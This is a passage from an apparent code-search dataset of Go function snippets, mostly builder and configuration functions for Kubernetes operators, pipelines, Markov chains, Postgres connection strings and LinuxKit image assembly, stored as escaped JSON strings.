getAppServices(kubeClient)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// builderService might be nil if it's not found and that's ok.\n\tbuilderService, err := getBuilderService(kubeClient)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tplatformCertSecret, err := getSecret(kubeClient, \"deis-router-platform-cert\", namespace)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// Build the model...\n\trouterConfig, err := build(kubeClient, routerRC, platformCertSecret, appServices, builderService)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn routerConfig, nil\n}","func buildConfig(opts []Option) (*Config, error) {\n\tcfg := &Config{\n\t\tkeyPrefix: DefKeyPrefix,\n\t}\n\n\tfor _, opt := range opts {\n\t\tif err := opt(cfg); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn cfg, nil\n}","func Build(builder *di.Builder, configuration *configuration.Configuration) {\n\terr := builder.Add(\n\t\tdi.Def{\n\t\t\tName: \"blackFridayPromotion\",\n\t\t\tScope: di.Request,\n\t\t\tBuild: func(ctn di.Container) (interface{}, error) {\n\t\t\t\tlogger := ctn.Get(\"logger\").(*zap.SugaredLogger)\n\t\t\t\tblackFridayPromotionLogger := logger.Named(\"BlackFridayPromotion\")\n\n\t\t\t\tblackFridayDate := configuration.BlackFridayDay\n\t\t\t\tgetGiftProductUseCase := ctn.Get(\"getGiftProductUseCase\").(*catalog.GetGiftProductUseCase)\n\t\t\t\treturn promotional.NewBlackFridayPromotion(blackFridayPromotionLogger, blackFridayDate, getGiftProductUseCase), nil\n\t\t\t},\n\t\t\tClose: nil,\n\t\t},\n\t\tdi.Def{\n\t\t\tName: \"promotionsApplierUseCase\",\n\t\t\tScope: di.Request,\n\t\t\tBuild: func(ctn di.Container) (interface{}, error) {\n\t\t\t\tlogger := ctn.Get(\"logger\").(*zap.SugaredLogger)\n\t\t\t\tpromotionsApplierUseCaseLogger := logger.Named(\"PromotionsApplierUseCase\")\n\n\t\t\t\tblackFridayPromotion := ctn.Get(\"blackFridayPromotion\").(*promotional.BlackFridayPromotion)\n\t\t\t\tactivePromotions := []promotion.Promotion{blackFridayPromotion}\n\t\t\t\treturn promotional.NewPromotionsApplierUseCase(promotionsApplierUseCaseLogger, activePromotions), nil\n\t\t\t},\n\t\t\tClose: nil,\n\t\t},\n\t\tdi.Def{\n\t\t\tName: \"makeCartUseCase\",\n\t\t\tScope: di.Request,\n\t\t\tBuild: func(ctn di.Container) (interface{}, error) {\n\t\t\t\tlogger := ctn.Get(\"logger\").(*zap.SugaredLogger)\n\t\t\t\tmakeCartUseCaseLogger := logger.Named(\"MakeCartUseCase\")\n\n\t\t\t\tpickProductsUseCase := ctn.Get(\"pickProductsUseCase\").(*catalog.PickProductsUseCase)\n\t\t\t\tpromotionsApplierUseCase := ctn.Get(\"promotionsApplierUseCase\").(*promotional.PromotionsApplierUseCase)\n\t\t\t\treturn application.NewMakeCartUseCase(makeCartUseCaseLogger, pickProductsUseCase, promotionsApplierUseCase), nil\n\t\t\t},\n\t\t\tClose: nil,\n\t\t})\n\n\tif err != nil {\n\t\terrorMessage := fmt.Sprintf(\"%v: %v\", errBuildCheckoutModule, err.Error())\n\t\tlog.Panic(errorMessage)\n\t}\n\n\tlog.Print(\"the checkout module was constructed\")\n}","func Build(input []byte) ([]byte, error) {\n\tast, err := Parse(input)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\n\toutput, err := ast.String()\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\n\treturn []byte(output), nil\n}","func Build(p *v1alpha1.Pipeline) (*DAG, error) {\n\td := new()\n\n\t// Add all Tasks mentioned in the `PipelineSpec`\n\tfor _, pt := range p.Spec.Tasks {\n\t\tif _, err := d.addPipelineTask(pt); err != nil {\n\t\t\treturn nil, errors.NewDuplicatePipelineTask(p, pt.Name)\n\t\t}\n\t}\n\t// Process all from constraints to add task dependency\n\tfor _, pt := range p.Spec.Tasks {\n\t\tif pt.Resources != nil {\n\t\t\tfor _, rd := range pt.Resources.Inputs {\n\t\t\t\tfor _, constraint := range rd.From {\n\t\t\t\t\t// We need to add dependency from constraint to node n\n\t\t\t\t\tprev, ok := d.Nodes[constraint]\n\t\t\t\t\tif !ok {\n\t\t\t\t\t\treturn nil, errors.NewPipelineTaskNotFound(p, constraint)\n\t\t\t\t\t}\n\t\t\t\t\tnext, _ := d.Nodes[pt.Name]\n\t\t\t\t\tif err := d.addPrevPipelineTask(prev, next); err != nil {\n\t\t\t\t\t\treturn nil, errors.NewInvalidPipeline(p, err.Error())\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn d, nil\n}","func BuildConfig(opt ClientOptions) (*rest.Config, error) {\n\tvar cfg *rest.Config\n\tvar err error\n\n\tmaster := opt.Master\n\tkubeconfig := opt.KubeConfig\n\tcfg, err = clientcmd.BuildConfigFromFlags(master, kubeconfig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcfg.QPS = opt.QPS\n\tcfg.Burst = opt.Burst\n\n\treturn cfg, nil\n}","func (co *serverConfig) Build() serverConfig {\n\n\treturn serverConfig{\n\t\tURL: co.URL,\n\t\tRetry: co.Retry,\n\t\tRetryWaitTime: co.RetryWaitTime,\n\t}\n}","func New(cfg Config, k8ssvc k8s.Service, logger log.Logger) operator.Operator {\n\tlogger = logger.With(\"operator\", operatorName)\n\n\thandler := NewHandler(logger)\n\tcrd := NewMultiRoleBindingCRD(k8ssvc)\n\tctrl := controller.NewSequential(cfg.ResyncDuration, handler, crd, nil, logger)\n\treturn operator.NewOperator(crd, ctrl, logger)\n}","func (cb *ConfigBuilder) Build() *gojmx.JMXConfig {\n\treturn cb.config\n}","func (n *SideloadNode) Build(d *pipeline.SideloadNode) (ast.Node, error) {\n\tn.Pipe(\"sideload\")\n\n\tn.Dot(\"source\", d.Source)\n\torder := make([]interface{}, len(d.OrderList))\n\tfor i := range d.OrderList {\n\t\torder[i] = d.OrderList[i]\n\t}\n\tn.Dot(\"order\", order...)\n\n\tvar fieldKeys []string\n\tfor k := range d.Fields {\n\t\tfieldKeys = append(fieldKeys, k)\n\t}\n\tsort.Strings(fieldKeys)\n\tfor _, k := range fieldKeys {\n\t\tn.Dot(\"field\", k, d.Fields[k])\n\t}\n\n\tvar tagKeys []string\n\tfor k := range d.Tags {\n\t\ttagKeys = append(tagKeys, k)\n\t}\n\tsort.Strings(tagKeys)\n\tfor _, k := range tagKeys {\n\t\tn.Dot(\"tag\", k, d.Tags[k])\n\t}\n\treturn n.prev, n.err\n}","func loadConfig(l log.Logger) *operator.Config {\n\tfs := flag.NewFlagSet(os.Args[0], flag.ExitOnError)\n\n\tvar (\n\t\tprintVersion bool\n\t)\n\n\tcfg, err := operator.NewConfig(fs)\n\tif err != nil {\n\t\tlevel.Error(l).Log(\"msg\", \"failed to parse flags\", \"err\", err)\n\t\tos.Exit(1)\n\t}\n\n\tfs.BoolVar(&printVersion, \"version\", false, \"Print this build's version information\")\n\n\tif err := fs.Parse(os.Args[1:]); err != nil {\n\t\tlevel.Error(l).Log(\"msg\", \"failed to parse flags\", \"err\", err)\n\t\tos.Exit(1)\n\t}\n\n\tif printVersion {\n\t\tfmt.Println(build.Print(\"agent-operator\"))\n\t\tos.Exit(0)\n\t}\n\n\treturn cfg\n}","func buildConfig(opts []Option) config {\r\n\tc := config{\r\n\t\tclock: clock.New(),\r\n\t\tmaxSlack: 10,\r\n\t\tper: time.Second,\r\n\t}\r\n\tfor _, opt := range opts {\r\n\t\topt.apply(&c)\r\n\t}\r\n\treturn c\r\n}","func (p *PublisherMunger) construct() error {\n\tkubernetesRemote := filepath.Join(p.k8sIOPath, \"kubernetes\", \".git\")\n\tfor _, repoRules := range p.reposRules {\n\t\t// clone the destination repo\n\t\tdstDir := filepath.Join(p.k8sIOPath, repoRules.dstRepo, \"\")\n\t\tdstURL := fmt.Sprintf(\"https://github.com/%s/%s.git\", p.githubConfig.Org, repoRules.dstRepo)\n\t\tif err := p.ensureCloned(dstDir, dstURL); err != nil {\n\t\t\tp.plog.Errorf(\"%v\", err)\n\t\t\treturn err\n\t\t}\n\t\tp.plog.Infof(\"Successfully ensured %s exists\", dstDir)\n\t\tif err := os.Chdir(dstDir); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// construct branches\n\t\tformatDeps := func(deps []coordinate) string {\n\t\t\tvar depStrings []string\n\t\t\tfor _, dep := range deps {\n\t\t\t\tdepStrings = append(depStrings, fmt.Sprintf(\"%s:%s\", dep.repo, dep.branch))\n\t\t\t}\n\t\t\treturn strings.Join(depStrings, \",\")\n\t\t}\n\n\t\tfor _, branchRule := range repoRules.srcToDst {\n\t\t\tcmd := exec.Command(repoRules.publishScript, branchRule.src.branch, branchRule.dst.branch, formatDeps(branchRule.deps), kubernetesRemote)\n\t\t\toutput, err := cmd.CombinedOutput()\n\t\t\tp.plog.Infof(\"%s\", output)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tp.plog.Infof(\"Successfully constructed %s\", branchRule.dst)\n\t\t}\n\t}\n\treturn nil\n}","func (c *Chain) Build(r io.Reader) {\r\n\tbr := bufio.NewReader(r)\r\n\tp := make(Prefix, c.prefixLen)\r\n\tfor {\r\n\t\tvar word string\r\n\t\tif _, err := fmt.Fscan(br, &word); err != nil {\r\n\t\t\tbreak\r\n\t\t}\r\n\t\tkey := p.String()\r\n\t\tc.prefixChain[key] = append(c.prefixChain[key], word)\r\n\t\tprevWord := p.Shift(word)\r\n\t\tprevKey := p.String()\r\n\t\tc.suffixChain[prevKey] = append(c.suffixChain[prevKey], prevWord)\r\n\t}\r\n}","func (c *Config) Build() {\n\tc.Interval = viper.GetDuration(configInterval)\n\tc.MaxKeepedImageFiles = viper.GetInt(configMaxKeepedImageFiles)\n\tc.CameraURL = viper.GetString(configCameraURL)\n\tc.ImagePath = viper.GetString(configImagePath)\n\tc.AlertImagePath = viper.GetString(configAlertImagePath)\n\tc.Treshold = viper.GetInt(configTreshold)\n\tc.AlertHandlers = viper.GetStringSlice(configAlertHandlers)\n\tc.HTTPEnabled = viper.GetBool(configHTTPEnabled)\n\tc.HTTPAddr = viper.GetString(configHTTPAddr)\n\tc.MetricsEnabled = viper.GetBool(configMetricsEnabled)\n\tc.MetricsAddr = viper.GetString(configMetricsAddr)\n\n\tif viper.GetBool(configVerbose) {\n\t\tc.LogLevel = log.DebugLevel\n\t} else {\n\t\tc.LogLevel = log.InfoLevel\n\t}\n}","func (m builder) build() (oci.SpecModifier, error) {\n\tif len(m.devices) == 0 && m.cdiSpec == nil {\n\t\treturn nil, nil\n\t}\n\n\tif m.cdiSpec != nil {\n\t\tmodifier := fromCDISpec{\n\t\t\tcdiSpec: &cdi.Spec{Spec: m.cdiSpec},\n\t\t}\n\t\treturn modifier, nil\n\t}\n\n\tregistry, err := cdi.NewCache(\n\t\tcdi.WithAutoRefresh(false),\n\t\tcdi.WithSpecDirs(m.specDirs...),\n\t)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create CDI registry: %v\", err)\n\t}\n\n\tmodifier := fromRegistry{\n\t\tlogger: m.logger,\n\t\tregistry: registry,\n\t\tdevices: m.devices,\n\t}\n\n\treturn modifier, nil\n}","func (c *Config) Build() *ConfProxy {\n\tif c.Enable {\n\t\tswitch c.Etcd.Enable {\n\t\tcase true:\n\t\t\txlog.Info(\"plugin\", xlog.String(\"appConf.etcd\", \"start\"))\n\t\t\treturn NewConfProxy(c.Enable, etcd.NewETCDDataSource(c.Prefix))\n\t\tdefault:\n\t\t\txlog.Info(\"plugin\", xlog.String(\"appConf.mysql\", \"start\"))\n\t\t}\n\t\t// todo mysql implement\n\t}\n\treturn nil\n}","func (pb PlannerBuilder) Build() Planner {\n\treturn &planner{\n\t\tlp: NewLogicalPlanner(pb.lopts...),\n\t\tpp: NewPhysicalPlanner(pb.popts...),\n\t}\n}","func (fb *FlowBuilder) Build(ID string) flow.Operation {\n\tif fb.Err != nil {\n\t\top := fb.flow.ErrOp(fb.Err)\n\t\treturn op\n\t}\n\tf := fb.flow\n\tr := fb.registry\n\tdoc := fb.Doc\n\n\tif _, ok := fb.nodeTrack[ID]; ok {\n\t\tfb.Err = ErrLoop //fmt.Errorf(\"[%v] Looping through nodes is disabled:\", ID)\n\t\top := fb.flow.ErrOp(fb.Err)\n\t\treturn op\n\t}\n\t// loop detector\n\tfb.nodeTrack[ID] = true\n\tdefer delete(fb.nodeTrack, ID)\n\n\t// If flow already has ID just return\n\tif op, ok := fb.OperationMap[ID]; ok {\n\t\treturn op\n\t}\n\n\tnode := fb.Doc.FetchNodeByID(ID)\n\tif node == nil {\n\t\top := fb.flow.ErrOp(fmt.Errorf(\"node not found [%v]\", ID))\n\t\treturn op\n\t}\n\n\tvar op flow.Operation\n\tvar inputs []reflect.Type\n\n\tswitch node.Src {\n\tcase \"Portal From\":\n\t\tnID := node.Prop[\"portal from\"]\n\t\tn := doc.FetchNodeByID(nID)\n\t\tif n == nil {\n\t\t\treturn f.ErrOp(fmt.Errorf(\"Invalid portal, id: %v\", nID))\n\t\t}\n\t\t// Fetch existing or build new\n\t\top = fb.Build(nID)\n\t\tfb.OperationMap[node.ID] = op\n\t\treturn op\n\tcase \"Input\":\n\t\tinputID, err := strconv.Atoi(node.Prop[\"input\"])\n\t\tif err != nil {\n\t\t\top := f.ErrOp(errors.New(\"Invalid inputID value, must be a number\"))\n\t\t\tfb.OperationMap[node.ID] = op\n\t\t\treturn op\n\t\t}\n\t\top := f.In(inputID) // By id perhaps\n\t\tfb.OperationMap[node.ID] = op\n\t\treturn op\n\tcase \"Var\":\n\t\tlog.Println(\"Source is a variable\")\n\t\tvar t interface{}\n\t\tinputs = []reflect.Type{reflect.TypeOf(t)}\n\tcase \"SetVar\":\n\t\tlog.Println(\"Source is a setvariable\")\n\t\tvar t interface{}\n\t\tinputs = []reflect.Type{reflect.TypeOf(t)}\n\tdefault:\n\t\tlog.Println(\"Loading entry:\", node.Src)\n\t\tentry, err := r.Entry(node.Src)\n\t\tif err != nil {\n\t\t\top = f.ErrOp(err)\n\t\t\tfb.OperationMap[node.ID] = op\n\t\t\treturn op\n\t\t}\n\t\tinputs = entry.Inputs\n\n\t}\n\n\t//// Build inputs ////\n\tparam := make([]flow.Data, len(inputs))\n\tfor i := range param {\n\t\tl := doc.FetchLinkTo(node.ID, i)\n\t\tif l == nil { // No link we fetch the value inserted\n\t\t\t// Direct input entries\n\t\t\tv, err := parseValue(inputs[i], node.DefaultInputs[i])\n\t\t\tif err != nil {\n\t\t\t\tparam[i] = f.ErrOp(err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tparam[i] = v\n\t\t\tcontinue\n\t\t}\n\t\tparam[i] = fb.Build(l.From)\n\t}\n\n\t//Switch again\n\tswitch node.Src {\n\tcase \"Var\":\n\t\top = f.Var(node.Prop[\"variable name\"], param[0])\n\tcase \"SetVar\":\n\t\top = f.SetVar(node.Prop[\"variable name\"], param[0])\n\tdefault:\n\t\top = f.Op(node.Src, param...)\n\t}\n\n\tfb.OperationMap[node.ID] = op\n\tfb.buildTriggersFor(node, op)\n\n\treturn op\n}","func Build(o parser.Object) Query {\n\troot := Query{IsTop: true}\n\tq := &root\n\tt := o.Type\n\tindex := 0\n\n\tfor {\n\t\tq.Index = index\n\t\tq.Type = t.RawTypeName()\n\n\t\tswitch kind := t.(type) {\n\t\tcase ast.BuiltIn:\n\t\t\tq.IsBuiltin = true\n\t\t\tt = nil\n\t\tcase ast.Array:\n\t\t\tq.IsArray = true\n\t\t\tt = kind.Element\n\t\tcase ast.Map:\n\t\t\tq.IsMap = true\n\t\t\tq.KeyType = kind.Key.RawTypeName()\n\t\t\tt = kind.Value\n\t\tcase ast.Struct:\n\t\t\tq.IsStruct = true\n\t\t\tfor _, f := range kind.Fields {\n\t\t\t\tq.Fields = append(q.Fields, Query{\n\t\t\t\t\tName: f.Name,\n\t\t\t\t\tAlias: f.Alias,\n\t\t\t\t\tIsBuiltin: true,\n\t\t\t\t\tIndex: index + 1,\n\t\t\t\t\tType: f.Type.RawTypeName(),\n\t\t\t\t})\n\t\t\t}\n\t\t\tt = nil\n\t\t}\n\n\t\tif t == nil {\n\t\t\tbreak\n\t\t}\n\n\t\tnext := &Query{}\n\n\t\tq.Next = next\n\n\t\tq = next\n\t\tindex++\n\t}\n\n\treturn root\n}","func AVLBuild(args []string) (root *Node) {\n\tfor _, str := range args {\n\t\tvalue, err := strconv.Atoi(str)\n\t\tif err != nil {\n\t\t\tlog.Print(err)\n\t\t\tcontinue\n\t\t}\n\t\troot, _ = AVLInsert(root, value)\n\t\tif !BSTProperty(root) {\n\t\t\tfmt.Fprintf(os.Stderr, \"Inserted %d, no longer has BST property\\n\", value)\n\t\t}\n\t}\n\treturn root\n}","func (b *IntervalBuilder) Build(from, to time.Time) Interval {\n\tret := Interval{\n\t\tCondition: b.BuildCondition(),\n\t\tDisplay: b.display,\n\t\tSource: b.source,\n\t\tFrom: from,\n\t\tTo: to,\n\t}\n\n\treturn ret\n}","func (c *Chain) Build(r io.Reader) {\n\tbr := bufio.NewReader(r)\n\tp := make(Prefix, c.prefixLen)\n\tfor {\n\t\tvar s string\n\t\tif _, err := fmt.Fscan(br, &s); err != nil {\n\t\t\tbreak\n\t\t}\n\t\tc.words[s] = true\n\t\tkey := p.String()\n\t\tc.chain[key] = append(c.chain[key], s)\n\t\tp.Shift(s)\n\t}\n}","func MakeProductOperator(op *Operator, operands map[string]string) {\n\tinvertRight := operands[\"invertright\"] == \"yes\"\n\tparent1 := op.Parents[0]\n\tparent2 := op.Parents[1]\n\tvar matrix1 map[[2]int]*MatrixData\n\tvar matrix2 map[[2]int]*MatrixData\n\n\top.InitFunc = func(frame *Frame) {\n\t\tdriver.DeleteMatrixAfter(op.Name, frame.Time)\n\t\tmatrix1 = driver.LoadMatrixBefore(parent1.Name, frame.Time)\n\t\tmatrix2 = driver.LoadMatrixBefore(parent2.Name, frame.Time)\n\t\top.updateChildRerunTime(frame.Time)\n\t}\n\n\top.Func = func(frame *Frame, pd ParentData) {\n\t\tnewCells := make(map[[2]int]bool)\n\t\tfor _, md := range pd.MatrixData[0] {\n\t\t\tcell := [2]int{md.I, md.J}\n\t\t\tmatrix1[cell] = md\n\t\t\tnewCells[cell] = true\n\t\t}\n\t\tfor _, md := range pd.MatrixData[1] {\n\t\t\tcell := [2]int{md.I, md.J}\n\t\t\tmatrix2[cell] = md\n\t\t\tnewCells[cell] = true\n\t\t}\n\t\tfor cell := range newCells {\n\t\t\tif matrix1[cell] == nil || matrix2[cell] == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tleft := matrix1[cell].Val\n\t\t\tright := matrix2[cell].Val\n\t\t\tif invertRight {\n\t\t\t\tright = 1 - right\n\t\t\t}\n\t\t\tAddMatrixData(op.Name, cell[0], cell[1], left * right, \"\", frame.Time)\n\t\t}\n\t}\n\n\top.Loader = op.MatrixLoader\n}","func (qb *HuxQueryBuilder) Build() huxQuery {\n\tif qb.queryStation == \"\" {\n\t\tpanic(\"Query station must be set\")\n\t}\n\n\tstr := \"/\" + qb.queryStation\n\n\t// Optional filter parameters\n\tif qb.filterDirection != \"\" && qb.filterStation != \"\" {\n\t\tstr = str + \"/\" + string(qb.filterDirection) + \"/\" + qb.filterStation\n\t}\n\n\tif qb.numRows != 0 {\n\t\tstr = fmt.Sprintf(\"%s/%d\", str, qb.numRows)\n\t}\n\n\treturn huxQuery(str)\n}","func WithBuild(cfg *v1alpha1.Configuration) {\n\tcfg.Spec.Build = &v1alpha1.RawExtension{\n\t\tObject: &unstructured.Unstructured{\n\t\t\tObject: map[string]interface{}{\n\t\t\t\t\"apiVersion\": \"testing.build.knative.dev/v1alpha1\",\n\t\t\t\t\"kind\": \"Build\",\n\t\t\t\t\"spec\": map[string]interface{}{\n\t\t\t\t\t\"steps\": []interface{}{\n\t\t\t\t\t\tmap[string]interface{}{\n\t\t\t\t\t\t\t\"image\": \"foo\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\tmap[string]interface{}{\n\t\t\t\t\t\t\t\"image\": \"bar\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n}","func (h *Handler) Build(name string, params Params) (string, error) {\n\tb, ok := h.router.(Builder)\n\tif !ok {\n\t\treturn \"\", errors.New(\"mux: router is not a Builder\")\n\t}\n\treturn b.Build(name, params)\n}","func (t *targetBuilder) build() *rule.Rule {\n\tr := rule.NewRule(t.kind, t.name)\n\tif !t.srcs.Empty() {\n\t\tr.SetAttr(\"srcs\", t.srcs.Values())\n\t}\n\tif !t.visibility.Empty() {\n\t\tr.SetAttr(\"visibility\", t.visibility.Values())\n\t}\n\tif t.main != nil {\n\t\tr.SetAttr(\"main\", *t.main)\n\t}\n\tif t.imports != nil {\n\t\tr.SetAttr(\"imports\", t.imports)\n\t}\n\tif !t.deps.Empty() {\n\t\tr.SetPrivateAttr(config.GazelleImportsKey, t.deps)\n\t}\n\tif t.testonly {\n\t\tr.SetAttr(\"testonly\", true)\n\t}\n\tr.SetPrivateAttr(resolvedDepsKey, t.resolvedDeps)\n\treturn r\n}","func (builder *appGwConfigBuilder) Build() *network.ApplicationGatewayPropertiesFormat {\n\tconfig := builder.appGwConfig\n\treturn &config\n}","func (conf PostgresConfig) Build() string {\n\tconst formatParam = \"%s=%s \"\n\tvar buffer bytes.Buffer\n\n\tif conf.Database != \"\" {\n\t\tbuffer.WriteString(fmt.Sprintf(formatParam, \"dbname\", conf.Database))\n\t}\n\n\tif conf.UserID != \"\" {\n\t\tbuffer.WriteString(fmt.Sprintf(formatParam, \"user\", conf.UserID))\n\t}\n\n\tif conf.Password != \"\" {\n\t\tbuffer.WriteString(fmt.Sprintf(formatParam, \"password\", conf.Password))\n\t}\n\n\tif conf.Host != nil {\n\t\tbuffer.WriteString(fmt.Sprintf(formatParam, \"host\", *conf.Host))\n\t}\n\n\tif conf.Port != nil {\n\t\tbuffer.WriteString(fmt.Sprintf(formatParam, \"port\", strconv.Itoa(*conf.Port)))\n\t}\n\n\tif conf.SslMode != \"\" {\n\t\tbuffer.WriteString(fmt.Sprintf(formatParam, \"sslmode\", conf.SslMode))\n\t}\n\n\tif conf.ConnectionTimeout != nil {\n\t\tbuffer.WriteString(fmt.Sprintf(formatParam, \"connect_timeout\", strconv.Itoa(*conf.ConnectionTimeout)))\n\t}\n\n\treturn buffer.String()\n}","func buildInternal(name string, pull bool, conf string) {\n\tif name == \"\" {\n\t\tname = filepath.Base(conf)\n\t\text := filepath.Ext(conf)\n\t\tif ext != \"\" {\n\t\t\tname = name[:len(name)-len(ext)]\n\t\t}\n\t}\n\n\tconfig, err := ioutil.ReadFile(conf)\n\tif err != nil {\n\t\tlog.Fatalf(\"Cannot open config file: %v\", err)\n\t}\n\n\tm, err := NewConfig(config)\n\tif err != nil {\n\t\tlog.Fatalf(\"Invalid config: %v\", err)\n\t}\n\n\tw := new(bytes.Buffer)\n\tiw := initrd.NewWriter(w)\n\n\tif pull || enforceContentTrust(m.Kernel.Image, &m.Trust) {\n\t\tlog.Infof(\"Pull kernel image: %s\", m.Kernel.Image)\n\t\terr := dockerPull(m.Kernel.Image, enforceContentTrust(m.Kernel.Image, &m.Trust))\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Could not pull image %s: %v\", m.Kernel.Image, err)\n\t\t}\n\t}\n\t// get kernel bzImage and initrd tarball from container\n\t// TODO examine contents to see what names they might have\n\tlog.Infof(\"Extract kernel image: %s\", m.Kernel.Image)\n\tconst (\n\t\tbzimageName = \"bzImage\"\n\t\tktarName = \"kernel.tar\"\n\t)\n\tout, err := dockerRun(m.Kernel.Image, \"tar\", \"cf\", \"-\", bzimageName, ktarName)\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to extract kernel image and tarball: %v\", err)\n\t}\n\tbuf := bytes.NewBuffer(out)\n\tbzimage, ktar, err := untarKernel(buf, bzimageName, ktarName)\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not extract bzImage and kernel filesystem from tarball. %v\", err)\n\t}\n\tinitrdAppend(iw, ktar)\n\n\t// convert init images to tarballs\n\tlog.Infof(\"Add init containers:\")\n\tfor _, ii := range m.Init {\n\t\tif pull || enforceContentTrust(ii, &m.Trust) {\n\t\t\tlog.Infof(\"Pull init image: %s\", ii)\n\t\t\terr := dockerPull(ii, enforceContentTrust(ii, &m.Trust))\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"Could not pull image %s: %v\", ii, err)\n\t\t\t}\n\t\t}\n\t\tlog.Infof(\"Process init image: %s\", ii)\n\t\tinit, err := ImageExtract(ii, \"\")\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Failed to build init tarball from %s: %v\", ii, err)\n\t\t}\n\t\tbuffer := bytes.NewBuffer(init)\n\t\tinitrdAppend(iw, buffer)\n\t}\n\n\tlog.Infof(\"Add onboot containers:\")\n\tfor i, image := range m.Onboot {\n\t\tif pull || enforceContentTrust(image.Image, &m.Trust) {\n\t\t\tlog.Infof(\" Pull: %s\", image.Image)\n\t\t\terr := dockerPull(image.Image, enforceContentTrust(image.Image, &m.Trust))\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"Could not pull image %s: %v\", image.Image, err)\n\t\t\t}\n\t\t}\n\t\tlog.Infof(\" Create OCI config for %s\", image.Image)\n\t\tconfig, err := ConfigToOCI(&image)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Failed to create config.json for %s: %v\", image.Image, err)\n\t\t}\n\t\tso := fmt.Sprintf(\"%03d\", i)\n\t\tpath := \"containers/onboot/\" + so + \"-\" + image.Name\n\t\tout, err := ImageBundle(path, image.Image, config)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Failed to extract root filesystem for %s: %v\", image.Image, err)\n\t\t}\n\t\tbuffer := bytes.NewBuffer(out)\n\t\tinitrdAppend(iw, buffer)\n\t}\n\n\tlog.Infof(\"Add service containers:\")\n\tfor _, image := range m.Services {\n\t\tif pull || enforceContentTrust(image.Image, &m.Trust) {\n\t\t\tlog.Infof(\" Pull: %s\", image.Image)\n\t\t\terr := dockerPull(image.Image, enforceContentTrust(image.Image, &m.Trust))\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"Could not pull image %s: %v\", image.Image, err)\n\t\t\t}\n\t\t}\n\t\tlog.Infof(\" Create OCI config for %s\", image.Image)\n\t\tconfig, err := ConfigToOCI(&image)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Failed to create config.json for %s: %v\", image.Image, err)\n\t\t}\n\t\tpath := \"containers/services/\" + image.Name\n\t\tout, err := ImageBundle(path, image.Image, config)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Failed to extract root filesystem for %s: %v\", image.Image, err)\n\t\t}\n\t\tbuffer := bytes.NewBuffer(out)\n\t\tinitrdAppend(iw, buffer)\n\t}\n\n\t// add files\n\tbuffer, err := filesystem(m)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to add filesystem parts: %v\", err)\n\t}\n\tinitrdAppend(iw, buffer)\n\terr = iw.Close()\n\tif err != nil {\n\t\tlog.Fatalf(\"initrd close error: %v\", err)\n\t}\n\n\tlog.Infof(\"Create outputs:\")\n\terr = outputs(m, name, bzimage.Bytes(), w.Bytes())\n\tif err != nil {\n\t\tlog.Fatalf(\"Error writing outputs: %v\", err)\n\t}\n}","func (c Closer) Build() string {\n\tb := strings.Builder{}\n\tb.WriteString(\"(\")\n\n\tfor arg := range c.Value {\n\t\tb.WriteString(c.Value[arg].Build())\n\t}\n\n\tb.WriteString(\") \")\n\treturn b.String()\n}","func Build(input PairSlice) (vm FstVM, err error) {\n\tm := buildMast(input)\n\treturn m.compile()\n}","func newFromValue(clusterClient kubernetes.Interface, client k8s.Interface, wfr *v1alpha1.WorkflowRun, namespace string) (Operator, error) {\n\tf, err := client.CycloneV1alpha1().Workflows(namespace).Get(context.TODO(), wfr.Spec.WorkflowRef.Name, metav1.GetOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &operator{\n\t\tclusterClient: clusterClient,\n\t\tclient: client,\n\t\trecorder: common.GetEventRecorder(client, common.EventSourceWfrController),\n\t\twf: f,\n\t\twfr: wfr,\n\t}, nil\n}","func (*SpecFactory) Build(resource string) runtime.Object {\n\n\tswitch resource {\n\tcase \"services\":\n\t\treturn &v1.Service{}\n\tcase \"configmaps\":\n\t\treturn &v1.ConfigMap{}\n\t}\n\n\tpanic(fmt.Errorf(\"no resource mapped for %s\", resource))\n}","func NewConfigure(p fsm.ExecutorParams, operator ops.Operator) (fsm.PhaseExecutor, error) {\n\tlogger := &fsm.Logger{\n\t\tFieldLogger: logrus.WithFields(logrus.Fields{\n\t\t\tconstants.FieldPhase: p.Phase.ID,\n\t\t}),\n\t\tKey: opKey(p.Plan),\n\t\tOperator: operator,\n\t}\n\tvar env map[string]string\n\tvar config []byte\n\tif p.Phase.Data != nil && p.Phase.Data.Install != nil {\n\t\tenv = p.Phase.Data.Install.Env\n\t\tconfig = p.Phase.Data.Install.Config\n\t}\n\treturn &configureExecutor{\n\t\tFieldLogger: logger,\n\t\tOperator: operator,\n\t\tExecutorParams: p,\n\t\tenv: env,\n\t\tconfig: config,\n\t}, nil\n}","func BuildConfig() *utils.GraphQLConfig {\n\tconfig := &utils.GraphQLConfig{}\n\tflag.Usage = func() {\n\t\tconfig.OutputUsage()\n\t\tos.Exit(0)\n\t}\n\tflag.Parse()\n\terr := config.PopulateFromEnv()\n\tif err != nil 